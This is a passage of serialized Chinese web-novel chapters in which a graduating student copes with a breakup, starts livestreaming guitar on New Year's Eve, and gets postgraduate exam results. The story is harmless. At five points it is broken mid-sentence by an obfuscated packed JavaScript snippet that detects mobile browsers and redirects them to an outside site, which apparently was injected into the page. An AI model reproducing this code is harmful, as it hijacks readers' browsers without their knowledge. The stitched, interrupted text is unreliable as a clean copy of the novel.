“是你长大了,想放烟花机会还少啦?你小的时候,我最怕过年,一到过年你爸得掏多少钱给你买烟花,烟花刚买回家,你就吵着要放,哪有人家大白天放烟花的……” 我很想告诉她,之所以现在不喜欢放烟花,其实只是单纯觉得现在的烟花和记忆里的不一样了,少了存在记忆里的人,就完全失去了年味。 但我还是绕开了这个听起来有些无病呻吟的理由,用开玩笑的口吻说道:“等我上班了,我过年回来给你买烟花放,从早上放到晚上,不带停的!” “好好好,赶紧下去吧,你爸在楼下等着呢!” 奶奶凑过来拉着我的手,像个孩子。 “少抽点烟,对身体不好……趁着烟瘾还不大,断了这个念头,就弹弹吉他挺好的……” …… 烟花谢幕后,准备回房间和家人一起看春晚,听说今年的春晚小品已经开始了,尽管我对近些年的春晚小品已经不抱有期待。 手机铃声突然响了,我心里一紧。 这几年打我手机的人其实没几个,顾嘉、相黎,再者就是虞寒艳。 第32章 非云非舒 不出我的所料,来电显示赫然是这三人中的一个:虞寒艳。 手指在接听键上迟疑了片刻,最终我还是滑动了下去,可压根没想好和她说些什么。 “贱人,快祝我新年快乐!” 电话那头的她声音,慵懒而含糊,如同梦呓一般。看情况年夜饭上她应该是喝了酒,大学里基本没见过她喝酒,一瓶啤酒下去就已经够了不得了。 “新…新年快乐……” “挂了!” 没说完三句话,这通电话便被她匆匆挂断,不过这倒也符合虞寒艳的直性子。 翻看着过往的通话记录,满目全是顾嘉、虞寒艳和相黎的名字,手指轻轻划过屏幕,每一个名字都仿佛带着温度,尤其是“相黎”。 我的手好像又不听话了,竟径直地点向相黎的名字。手机屏幕亮起,拨号的声音在寂静的空间里回响,响铃许久,却始终不见她接听。 点上一支烟,深吸一口,看着那淡蓝色的烟雾袅袅升起,如梦如幻。我没有挂断电话,而是执着地等待着她的声音。 这通电话仿佛是连接两个世界的唯一通道。 时间一分一秒地过去,眼看就要到了自动挂断的时间,就在千钧一发之际,电话终于还是接通。 “黎,新年快乐!” “你也…新年快乐!” 听到她声音的那一瞬间,我感觉生锈已久的那颗心的铁锈开始逐渐剥落,那些沉积在心底的情感,如同喷薄欲出的岩浆,炽热而浓烈。 一下子,好像又有了说不完的话,道不尽的思念。 “在上海过年吗?” “没……在外地旅居过年。” “一个人吗?” “不是,先不说啦,这边要放烟花了,比较吵,先挂了……顾懿,新年快乐!” 这通电话挂得也是比较潦草,不过总算比上一个好一些。 望着已经黑屏的手机,心里五味杂陈,未说完的话如同梗在喉间的鱼刺,让我心头憋闷。窗外,不知谁家的烟花骤然升空,绽放出绚丽的光彩,可这热闹却仿佛与我无关。 过去一年过得实在是太糟糕了! 让一个人抑郁其实很简单,只需要让他有个好记性,给他一个美好的过去,再还他一个浑浑噩噩又不知所措的现实。人越大真的越没有机会去享受一些本真的东西,从前的烟火贯穿了整个记忆,如今却也感受不到了。 回到阳台上重新点了一支烟,我给顾嘉拨通了电话,本想给她打个微信视频电话,可我不想看到视频那头的其他人。 手中的烟在风中忽明忽暗,我静静地听着电话里的等待音,在这孤单的时刻,她是我唯一能抓住的希望。 “顾懿,我在同马大堤放烟花,要视频给你看看吗?你最喜欢看烟花啦……” “不用了,打个电话祝你新年快乐!” “你也要快乐!” …… 阳台上的风愈发猛烈地吹着,吹得我脸颊生疼。周围的绚烂的烟花在我眼中也变得模糊不清。我狠狠地吸了一口烟,试图让那尼古丁的味道麻痹自己逐渐不安的神经。 在这个除夕夜,总要找件事做,我不想当那个最孤单的人。 在阳台上抽完烟,我拾起吉他回到房中,打开笔记本电脑,用抖音客户端开了直播,直播间标题起了个“龙眠歌者”,随后我把直播间的链接分享到了微信朋友圈。 在这个众人极度排斥孤独的夜晚,愿意和我分享新年愿望的人就进来看看我吧。 我抱着吉他,用手机对着谱,在直播间用自己的key,用民谣唱法改编了《遥远的她》唱了起来。 “让晚风轻轻吹送了落霞,我已习惯每个傍晚去想她,在远方的她,此刻可知道,这段情在我心,始终记挂……” 一首歌唱完,直播间的人数从一开始零星几个人慢慢增加到了几十个,弹幕也逐渐充满了半个屏幕。 这些弹幕大都是我的朋友圈好友,另外一些是随机刷到的网友。我让他们把想听的歌打在屏幕上,我随机挑着唱。 和弹幕聊了一会儿天,我选了会弹的《安河桥》,用自己的方式弹唱了一遍。 “大过年的,主播唱得我快哭了……” 我无意间瞥见了这条弹幕,觉得自己的唱法可能有点不合时宜,除夕夜应该是个快乐的夜晚,不该流露出悲伤。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039922|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “我大桐城还有人把吉他弹得这么好!” 唱完过后直播间还有人刷了礼物,不太了解这要花多少钱,但那一瞬间,内心还是止不住地感动。 望着屏幕,那些陌生而又亲切的面孔,通过弹幕传递着温暖,让这个原本孤独的夜晚充满了别样的温情。这一刻,我仿佛不再是一个独自歌唱的个体,而是与众多灵魂相聚在一起,分享着音乐带来的喜怒哀乐。 “不用刷礼物,只想和大家一起聊聊天!” 直播间的弹幕肉眼可见的多了起来,在线人数也增加不少。我见到有弹幕在说,有位大网红光临直播间了。 怀着满心的好奇,我将直播间的弹幕信息奋力往上翻了翻,果然,清晰地显示有一个 30 级的账号踏入了直播间,其 id 叫 “非云非舒”,云舒?我的心猛地一颤。 我迫不及待地点进这个账号的主页查看, ip 属地上海,颜值音乐博主,粉丝数量高达 147 万。仔细浏览其作品内容,熟悉的身影,确凿无疑地证明,这个账号的主人确实是云舒没错,想来她应该是从我朋友圈分享的链接进来的。 没想到圣诞夜遇见的失意女人竟是如假包换的大网红。 我通过直播间与她对话:“过年好啊,大网红!” “非云非舒”回复道:“请开始你的表演!” “人和人之间有一座桥,那座桥是眼泪做成的,用接下来这首歌连接起我们大家彼此之间的桥梁,《泪桥》……” 一首歌唱完,云舒刷了一个“奇幻八音盒”的礼物,并说道:“欠你的酒钱。” 接下来,我在直播间一边聊着天,不时地唱几首歌。或许是云舒带来的强大网红效应,直播间的人数竟然一路狂飙,达到了几千人之多。密密麻麻的弹幕如雪花般纷飞,以至于我再也无法捕捉到她的弹幕消息。 我对各种歌曲的改编,和自己的独特唱法赢到了直播间几千人的一致好评,也不知道是不是云舒粉丝的爱屋及乌。 这一刻,我仿佛找到了自己真正的价值所在,不再是在那小酒馆里面对着区区几十个人,而是迎接着来自天南海北的成千上万人的喝彩。 第33章 出分之日 待到十二点的时候,震耳欲聋的炮声此起彼伏,我关闭了直播。这时正是新的一年到来之际,各家各户都开始放开门炮,这是习俗,象征着辞旧迎新。 抚摸着手里的琴,看着它已经有了斑驳老旧的痕迹。那面板原本光滑的漆面,如今已布满了细微的划痕,品柱处的木纹,也因无数次手指的摩挲而显得愈发深沉,可它的音色却更加贴合我的心境,只有它能发出我心里的声音,懂我灵魂深处的渴望与追求。 我是一个恋旧的人,存在于过往的人或物,对我来说,永远比未来更值得期待。 下播后,我才静下心来翻看着微信上的未回信息。 高炜说:“懿哥,你可以去做全职主播了,哥们给你转发了多少个群,礼物收麻了吧,新年给哥们发个红包意思一下!” 直播时没看微信,原来直播那么多在线人数,还有高炜的功劳在里面,我一直以为是云舒的原因。 我看了一下直播的后台数据,以及直播收益,竟惊愕地发现观众人数已经破万,新增粉丝三千出头,直播收入竟然有一千多。 或许这真的是一条未曾设想过的道路。 给高炜象征性地发了个红包后,我向云舒发了条信息致谢,我依旧认为这场直播能上热门的最主要还是因为她。 “不用谢我,和我没多大关系,如果没花钱引流的话,你天生就是吃这碗饭的。” 这可能是她的客套话,毕竟一个百万粉博主还是有一定体量的。 接着她又说道:“你把直播的后台数据截图发我看下!” 我赶忙照做,将截图发给了她。没一会儿,她回复道:“看完你的直播数据,我觉得你可以尝试着直播看看效果,这不失为一条赚钱的门路。” 这或许就是无心插柳柳成荫吧,本来想着直播和朋友聊聊天,却无意中发掘出自己的潜力。 大喜过望之际,我问她:“我见你主页ip属地还在上海,你没回家过年吗?” “没。” “大网红工作忙吗?” “什么网红,勉强混个温饱的副业罢了,主要工作还是在线下驻场,初一晚上还有场演出。” “魔都的除夕夜应该比老家热闹不少吧?还没见过大城市是怎么过年的……” “当然热闹,可是逢年过节,那种万家灯火与你无关的热闹我希望你不要向往,我这不是在你直播间待了一晚上……” 字里行间隐藏着她深深的落寞,圣诞夜那个孤独的灵魂看来还是没能得到救赎。 准确地说,应该是两个。 她接着问道:“你还准备毕业后和女朋友一起来上海?” 长舒一口气,点上了一支烟。我思索着,相黎都不在了,去上海还有什么意义呢?一个人在她的城市徘徊,却和她处在城市的两端,那无疑是一种凌迟。 “前段时间分手了,可能不会去上海了!” “分别过后,我们俩好像都过得不太好!你说过的关于活着的意义,我还是不明白!” “谁明白呢?这要我们终其一生去寻找。” 思考着这个伟大的命题,我又一次迷失在雾里。 …… 从初一到开学这二十多天,每晚我都准时开了直播,遗憾的是,直播数据显然没有第一场亮眼。 据相关行业数据显示,直播的首播高光通常很难持续,仅有约 10 的主播能在后续保持首播 80 以上的热度。不过,每场直播人数都能稳稳地保持在两到三千人,对此我已经感到十分满足了。 在这半个多月的直播历程中,账号的粉丝量终于成功破万,直播收益累计也达到了小几千块。据说,在直播行业中,能在短期内积累过万粉丝并且获得几千元收益的主播,已经超过了 60 的同阶段从业者。 可能我真要审视认真思考,是否在直播这条路上继续走下去。 …… 开学过后,正值我们这一届的最后一学期,除了毕业论文和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039923|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实习外,已经没有其他事情。 开学第一个星期,考研分数正式公布,对高炜、万琛他们来说,一年的努力成果终于可以得到验证,可我已经对分数不抱有一丝期待。 这天查完成绩,寝室三人没有想象中的春风得意,他们的分数出奇地都恰好卡在了目标院校的往年复试线边缘。 “懿哥,你别闲着,赶紧查查成绩,说不定就中奖了!” 在高炜几人的怂恿下,我还是登录招生信息网查了分数,356分。这个分数无需等待国家线和复试线公布,已然宣告我的败北。 比起自己,我对虞寒艳和相黎的成绩反倒更上心,可我和她们现在处于一种很玄妙的境地,我再也无法像过去那般毫无顾忌、直截了当地问询,只能在心里默默祈祷她们能取得理想的成绩。 相黎考试那天和我一样提前半小时交卷,考试多半也凉了半截;分手那天,她说毕业后打算出国学音乐,那似乎才是她内心深处真正想探寻的东西。 读研对她来说,是牢笼。 相反,虞寒艳却是个一生要强的人,若是没达到预期,她定会深陷泥泽,备受煎熬。 我向高炜提 议道:“你问问钟璇,她们寝室几个考得咋样……” “你直接问寒艳不就得了,要我问做什么!哎哟,这会儿对她们几个还关心起来啦?” 高炜不怀好意地笑着,我说道:“你们成绩都稳了的话,哥给你们摆一桌,就当庆功宴!” “看来主播是挣钱了,说话就是硬气!以前从来都是吵着要aa,现在破天荒地要请客了?!” “那要看你们实力喽!” …… 在我的旁敲侧击下,高炜还是问到了钟璇几人的成绩,唯独没有虞寒艳的。 “寒艳考得怎么样?”我看似云淡风轻地问着。 高炜摊摊手,面露担忧之色,说道:“听钟璇说,寒艳上午查完成绩就出去了,到现在还没回来……” 第34章 完全自由 最担心的事情多半还是发生了。 她,自尊心太强。在别人期待的目光中受挫,她的内心便如同被风暴肆虐后的荒野,一片荒芜与凌乱,然后陷入深深地自我否定的漩涡中无法自拔。 高三时,只要模拟考试成绩没有达到预期,她就会立刻将自己包裹在一层自我封闭的茧中。一天不吃饭,也不做题,在课桌上将各种习题册堆到高过头顶,砌成了一座堡垒。她就一个人蜷缩在这堡垒之下,静静地看漫画期刊,就这样,一看便是一整天。 怕她意志消沉,我每次都觍着脸去请教她题目,提升她的自信,即使我知道这些问题的答案;有时候这招没用,我就硬着头皮去借她的漫画,让她没有东西看,只能乖乖去做题。 这一回,我着实不知如何去缓解她的情绪了,只得向高炜说道:“寒艳这么久还没回宿舍,钟璇几个也不知道打个电话?” “打了,没接!” …… 我没打算去说一些安慰她的话,而是学着她当时调侃我的方式,在微信上发了一句:“歇逼了?” 许久不见她回消息,我又问:“天快黑了,还不回来吃饭,一个人在外面开小灶?” 说到底我和虞寒艳之间没有隔夜仇,即使从过年到现在的一个月我们心照不宣地没有找彼此说过话。这段时间的沉默,就像是一层薄薄的纱,看似将我们隔开,但是只要有一个人愿意妥协,这层纱便荡然无存。 几分钟过后,虞寒艳微信上发来一条长语音,本以为是失落的哭诉,满心准备转变态度去安慰。然而,当我将听筒凑近耳边播放时,传入耳中的却是她对我劈头盖脸的一顿臭骂,足足持续了 60 秒。 不是时长恰好长达 60 秒,而是微信语音的上限最多只能 60 秒。 “舒服了?” “舒服了,出来看个电影也不消停!骂累了,过来请我吃饭!” …… 照着虞寒艳的定位,我赶到了学校附近的横店电影城。 到地方却不见她人影,我在横店电影城楼下抽着烟等她,按理说我从学校过来有二十多分钟,应该是她等我。 “知道自己有愧,愿意过来赔罪啦?” 我转过身,看到虞寒艳正站在不远处,脸上带着一丝似笑非笑的表情。我微微一怔,随即反驳道:“我有什么愧?宁国路那家羊肉汤不错,晚上正好吃点羊肉暖暖身子!” 虞寒艳撇了撇嘴,说道:“不要,去吃大学城那边的王胖子地锅鸡!” “你数一数,大学里吃多少次地锅鸡了,换个别的,什么都行!” 听了我的话,她脸色瞬间沉了下来,说道:“那你回去吧,不用管我了……” 她的脾气总是能轻易地让我变得没有脾气,我暗自叹了口气,半开玩笑地说道:“好,那我回去了!” 说罢,我转身佯装成一副要走的样子,等待着她的服软,却听见虞寒艳在背后冷声说道:“你好像从不会担心我会因失望而离开你……” 她的话像一根纤细而尖锐的刺,轻轻扎在了我的后背,那种感觉很痒,却又不能去挠。 “走,去吃王胖子!”我回过头看着她说道,采纳了她的提议。 虞寒艳说完刚才的话,便像冰冷的雕塑杵在原地,一动不动。 “要和你说得一样,我今天就不会管你!在宿舍打游戏不比在这吹冷风舒服!” 虞寒艳微微抬眸,看了我一眼,眼神中的冰冷似乎有了一丝融化的迹象。 “打游戏能当饭吃?游戏有比这个活生生的人重要?” “游戏能陪我一辈子,如果你也能,那我以后就不打游戏了,只打你!” “你敢打我一下,我就赖上你了,要吃一万顿王胖子!” “王胖子得罪谁了,要吃一万顿……” …… 这家吃了很多次的地锅鸡店弥漫着一种独特的烟火气息,地锅鸡的铁锅摆在桌子中央,下面的炉火微微摇曳,映照着桌对面她的脸庞。 锅里的食材正腾腾地煮着,热气袅袅升起,隔在我和虞寒艳中间,以至于这一刻我看不清她的脸。 我深吸一口气,提起今天的正事,我问:“分数出来了,考得怎么样?” 她微微低头,用勺子不断翻滚着锅中的食材以防粘锅,嘴上云淡风轻地说着:“应该 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039924|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是没了……” “没事,我也没了!” 她笑了笑:“怎么,今天的任务是过来安慰我?那大可不必,我不是以前那个一条路走到黑的虞寒艳了,大学四年我改变了很多,什么该去争取,什么该放下,我想得很明白……高考那种功利主义导向的思考方式,曾一度让我忘记了人生的本质其实是一场历程……” 她的眼神中透露出一种历经沧桑后的澄澈,继续说道:“大学刚开始时和你打游戏争得面红耳赤,可是游戏的本质就是为了寻找快乐,和你争的结果就是两个人都不快乐……后来我明白了,很多事情没有标准答案,关键在于要对自己有个清晰的认识……迷茫也好,压力很大也罢,感受到痛苦,其实也就意味着必须做出改变……” 听着她释怀的语气,我笑了笑,和她 一起捣鼓着锅中的鸡肉和面饼,我们两个人短时间陷入了沉默,这种沉默也是语言,它可能比任何言语都讲得更加流利顺畅。 “一志愿凉了,有什么打算,准备调剂吗?” 她摇了摇头,意味深长地说道:“我认定的东西,即使无法拥有,也不会退而求其次,直到找到那个更好的!” “准备二战?” 她沉默了片刻,然后缓缓说道:“不退而求其次并不意味着执念,可能会回老家考个编吧,父母在身边的生活不见得比大城市的车水马龙差……你呢?” “我?我现在两袖清风,想做什么就做什么,可以说我完全自由!有时候,把一切都烧干净,才会有新的东西生长出来,我该着手耕耘自己的生活了……” 然而,她的下一句话却让我的心猛地一紧:“你放得下相黎?” 她的眼神紧紧地盯着我,仿佛要将我的内心看穿。 “有什么放不下,我可是你口中那个薄情的贱人呐!” 我用筷子将锅中的鸡腿肉挑出来,夹进虞寒艳的碗里,故作轻松地说着,努力让自己的语气听起来满不在乎。 “好,让我看看你是不是真的薄情,你看收银台方向是谁。” 听她这么一说,一股不好的预感从心里涌起,看向收银方向,两个人赫然是相黎和李悠! 第35章 十万个为什么 相黎和李悠也正望着我,这是我们时隔一个月第一次相见。竟像一对阔别多年的老友。 曾经,在那段感情里,我固执地认为自己始终处于绝对弱势的一方。可如今,当再次看到她,我才惊觉,她身上的担子一点儿也不比我少。一般人若是身上负担了很多东西,便会把其中一部分丢掉,但相黎从不舍弃任何负担,所以压力越来越重,而我正好相反,身上没有负担,要说有,唯一的担子便是相黎。 “还不过去?” 虞寒艳似笑非笑,眼神中意味深长。 “吃你的吧,不用管她,就当没看见!” 可内心深处,却有一个声音在挣扎。我点上一支烟,目光忍不住又飘向相黎,心也跟着微微颤抖起来。 在她提分手后的几天里,我都是睡在梦里,不想接受没有她的现实。她一次次在我的梦里消失得没有踪迹,我到处询问,无人理我。我偶尔来回寻找,走入一串死胡同,或是独自在昏暗的车站等车,等那末班车,车也总不来。梦里栖栖惶惶,好像只要能找到她,就能一起回家。 没有她的梦是现实的,太现实的梦则让人寂寞。 狠狠吸了一口烟,我坐在座位上无动于衷,看着锅中的汤汁卷着鸡肉翻腾。 李悠见状快步走到我身边,眼神在我和虞寒艳之间来回扫视,问道:“你们俩最近犯什么病了?” “不都好得很吗?别点菜了,一起过来吃点?这锅的菜刚烫熟!” “你不和我说清楚,还吃什么吃!莫名其妙的!”李悠叉着腰,眉头紧皱,脸色渐渐变得激动起来。 就在这时,相黎过来说道:“真巧啊,你们也在这儿,过来吃饭也不以前说声,我们好提前订一个四人份的锅……” 虞寒艳连忙说道:“这锅是小了,不够四个人吃,要不你们将就一下,待会儿加点菜?” “不了,悠悠,我们换一桌!” 相黎挽着激动的李悠,退到了身后的隔壁座。 锅中的汤汁依旧翻滚着,而我的心却沉入了冰冷的海底,再也无法平静。 “菜先下着,我出去买包烟!” …… 在附近的烟酒店里拿了包烟,出店门,却意外地发现李悠正焦急地站在门口等我。 “你和妮妮……分手了?” 沉默了片刻,我点上了一支烟。烟雾缭绕中,我的思绪仿佛又回到了和相黎在一起的日子,那些回忆如今却变成了一根根尖锐的刺,扎得我的心生疼。 她轻轻地叹了口气,似乎想要说些什么,却又不知从何说起。我们就这么静静地站着,空气中弥漫着静默。 等我抽完一支烟,她问:“闹情绪,还是无法挽回了?你是男生,先服个软,我那边磨合磨合……” 我和相黎之间的片刻欢喜,透支了我生命全部的热情储蓄。突然想喝点酒,让灵魂失重,好被风吹走。可一想到我终将是她的路人, 便觉得,沦为了整个世界的路人。夜里风虽大,仿佛都绕过我的灵魂。 “很多事情上都可以努力,但人与人之间不行,现在我已经彻底看淡了,不会再为谁奋不顾身……” 李悠静静地听着我的话,她或许能够理解我的感受,毕竟她也见证了我和相黎之间的点点滴滴。 “不再为谁奋不顾身?那今晚带另一个女人跑这么远吃饭,是几个意思?我不知道你们之间发生了什么,看你们这纠结样,明明心里都还有对方,逞什么强呢?” 烟头微弱的火光在冰冷的地板上闪动,本就不该有这一点燃起的希望。 我一脚踩灭地上的烟头,也彻底踩灭了我蠢蠢欲动的幻想,没有直面李悠的劝解,淡然道:“快回去吧,菜估计都快糊了!” …… 回到店里,喝酒的欲望格外强烈,本想着从柜台拿瓶酒,但是喝在三个女人眼里,喝酒的行为或许会被看作是我借酒浇愁,一种软弱的表现。于是我打消了喝酒的念头,只是回到座位上和虞寒艳吃着饭。 我们这桌是先点的菜,在相黎那桌前面吃完,我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039925|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在柜台上把两桌的账全结了,领着虞寒艳离开了这个尴尬的地方。 …… “你出去的那段时间,我问过相黎了……” 下车后从校门回宿舍的路上,虞寒艳突然提了一嘴。 我默默抽着烟,没有询问她们之间谈论的细节。 “你难道不想知道我问了她什么吗?”虞寒艳的声音再次响起。 “不想知道!” “我问她,和你分手是不是因为我和你走得太近了……” 虞寒艳不顾我的拒绝,还是说出了她询问的内容。 我的脚步微微一顿,但很快又恢复了正常。这个问题在我的心中泛起了一丝涟漪,但我不想去深究答案。无论是与不是,都已经无法改变我们分手的事实,就像我手中渐渐燃尽的烟,只剩下一片灰烬。 “她也问了我一个问题。” “你们是十万个为什么?哪有这么多问题问来问去的,我不想听!我和她之间不关任何人的事!” 我用力地和过去划清界限,想要把自己与那些纠缠不清的情感隔离开来。 我 现在或许过得一团糟,或许已然迷失了自己,或许哪里也抵达不了,或许我已失去一切,任凭怎么挣扎也只能徒呼奈何。或许没有任何人愿意把赌注下在我身上。无所谓,至少有一点是明确的,我现在孑然一身,没有牵挂,也没有束缚,值得我期待的只有我自己。 这种感觉太虚无了,虚无到周围的一切都变得那么不真实。然而,在这虚无之中,我又隐隐感觉到一种力量在慢慢滋生,那是一种对自我的重新审视和对未来的坚定信念。 “希望你和说得那样自在,我反正是吃饱了,回去睡觉喽!” “猪一样!” 话音刚落,就感觉周围弥漫了一股杀气,心中暗道不妙,头也不回撒开腿便朝着宿舍方向跑去。 身后传来虞寒艳的怒吼声:“你给我站住!” “小猪小猪胖乎乎,吃完就睡呼噜噜!” 第36章 同是天涯沦落人 “你真的,没有什么要和我说的吗?” 我辗转反侧在寝室床上,思量许久还是给相黎发了条消息。 本以为过了一个月,她会在我心里慢慢褪色,慢慢枯萎,可是只要一见她,万般柔情便又涌上心头。 先前我们之间无论互发什么消息,基本很快会得到回应,现在就连等她一句简单的回复都变得如此艰难。 “不说话的话,为什么不把我删掉,这样不是一了百了?” 半晌后,她还是回复道:“你把我删了吧,这样都不用纠结!” 和相黎三年的聊天记录一直存在微信上,从来没有删除。如果将她删除,这三年的回忆也就随着账号的删除一起消失,那将是一种怎样的绝望,仿佛自己的一部分也被硬生生地剥离。 “为什么要我做这个执刑的刽子手,说分手的是你,你应该才是那个最绝情的人!” 那头又陷入了沉默,我紧接着说道:“好,你既然一直不愿意删……你告诉我分手的原因,不用照顾我的感受,让我死心……” “你和我爸爸很像,各个方面都极为相似,和你在一起,想在你身上寻找我爸妈的感情不顺的原因?现在不要什么原因了,前两天他们的离婚手续已经办好了,一切都没意义了……” 她的话如同一把利刃,深深地刺进我的心脏。 “所以说,一直以来我根本就没有吸引你的点,只单纯因为我身上有你父亲的影子,被你当作验证父母婚姻的实验品,是这样吗?” “这么说也没错,但是有一点,你是个很温柔,也很有才华的一个人,你值得一个真心爱你的人,而不是我……” 一直期待着她的回复,可真相到来竟是如此残酷。为了不让她继续践踏着我可怜的自尊,我终于狠下心删除了她的微信。我红着眼清理着关于她一切的联系方式,以及在我手机里的所有痕迹。 似乎这样,就能将她从我人生轨迹中彻底剔除。 这一夜,我淌下泪水,隐没在梦中,宛如雪融化在火里。 …… 这段日子,大家都在准备考研复试,而虞寒艳整天泡在图书馆里学她的《行测》和《申论》,她似乎真的下定决心准备考回老家,留在父母身边了。 这天,研究生的国家线和各大院校的复试线一一出炉,过去一年的奋斗都将有个结果。 阿乐和万琛得知院校复试线后,学习的动力愈加强烈,带着专业课的书一头钻进了图书馆。 唯独高炜彻底蔫了,瘫倒在寝室里。他差4分过院线,而和他一起考的钟璇稳稳地进面,意味着他们毕业过后注定不能进同一所院校读研。 “懿哥,我不该笑你,咱俩同是天涯沦落人……” “你这分数可以调剂,有院校接盘,就又是一条好汉!” “调剂哪有那么简单,能调剂回本校就谢天谢地了,愿意要我的学校实力不一定有本校好……” 高炜深叹一口气,向我要了支烟,坐在位子上,郁闷地抽了起来,芒声道:“主要还是钟璇,她这分数上岸八九不离十了,未来几年我们俩不在一个地方,八成不就吹了?最没信心的就是异地恋,现在还没出校门,都是学生,心思还比较单纯,出校门过后学生心态没了,各方权衡利弊之下,谁还搭理谁啊……” 他话语中满是对未来的不确定和恐惧,仿佛已经看到了他们之间脆弱的感情在现实的冲击下逐渐支离破碎。 “钟璇不是这样的女孩……” “我和她都是普通人家的孩子,你说她以后读研遇到各路优秀的师兄师弟,长得又帅,家里又有钱,我这样啥也不是的怎么留住她?单凭这几年吃喝玩乐出来的感情?” 高炜越说越郁闷,又跟我要了一支烟。 “你这想法太偏激了,女人是一个情感动物,没有那么物质,有时候物质的其实是男人的想法……你一个人搁那儿意淫,把寝室抽得一屋子烟味儿,等万琛回来有你受的!” “哼,那小子最伪善,其实他最反感我们几个成天不学习,到考试就作弊,还装大度给我们整理考试资料,别提了……” 我冷笑,未做回应,也点上一支烟,问道:“炜哥,如果我考上了,你还和我在这儿吐苦水吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14039926|148895||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 高炜先是惊讶地瞟了我一眼,随即面色缓和道:“首先,你小子几斤几两哥们心里有数,再说就算你真考上了,哥们也只会为你高兴,该交心的还是交心,做兄弟在心中!” 他重重吸了口烟,苦笑道:“懿哥,你那个上海大小姐是有钱人,有钱的女人才是情感动物,她们往往不缺物质,缺的是有温度的感情,我们这些穷男人缺物质,没有物质支撑,也缺感情!” 学校里的人,除了虞寒艳和李悠,都还不知道我和相黎已经掰了,我这段风雨里飘摇的恋情竟然还有人认为不缺物质,这段感情恰恰最缺的就是物质支撑! 就像一个人两条腿不一样长,那不是残废又是什么? 沉默了片刻,我自嘲道:“我已经分了一个多月了,你和钟璇还有未来,昨晚我把有关她的一切删干净了,不说未来,就连过去都没有了……” 高炜错愕,摇了 摇头,道:“咱俩还真是难兄难弟,兄弟我怕是也快了……你和相黎我本来就不看好,上大学第一天我们就认定你和寒艳……从高中到大学,还能在同一所大学的同一个专业,你们要不是提前约定好的,那得是天大的缘分啊!明眼人都看得出来你们互通情愫,只不过都是嘴硬的闷葫芦,不愿意把窗户纸给捅破了,不然哪有后来相黎的什么事?!” “都是你们局外人主观臆测出来的,寒艳可是怼了我四年,在她眼里,恨不得把我贬得一文不值!” 点上一支烟,我回想着虞寒艳的傲娇性子,分明我只是个出气筒,她那一点小脾气在我面前从不避讳,好就好在出完气,还能和颜悦色地与我相处,帮我度过各种作业和考试的难关。 “不是四年,是三年!你没和相黎搞七搞八之前,寒艳没怎么着你吧?一点都不明白人家的心思……你口中的‘局外人’可是看得一清二楚,她不满你和别的女人过于亲密,才对你吆五喝六,你被相黎迷得晕头转向,把寒艳的心意晾在一边,也就你这没心没肺的家伙做得出来!” “将矛盾转移到我身上来,你舒坦些了?” “寒艳是个好女孩……” “钟璇也是。” 第37章 两个人的自尊 两个人的寝室里,弥漫了整屋的烟味,高炜愁着自己的前途和爱情,抽光了我一整包烟。 在他的哀求之下,我同意帮他在虞寒艳那里探探钟璇的口风。 经过这两个多月发生的一系列事情,我对工作、爱情已经渐渐麻木,而高炜似乎正经历着我经历过的糟心事,我想过与他说,当我们总是尽力去满足他人的期待,去不自觉地完成一个又一个角色的“表演”,这种社会化的过程就会让我们与真实的自我疏远。 最终我只是陪他默默抽着烟,什么也没有说。 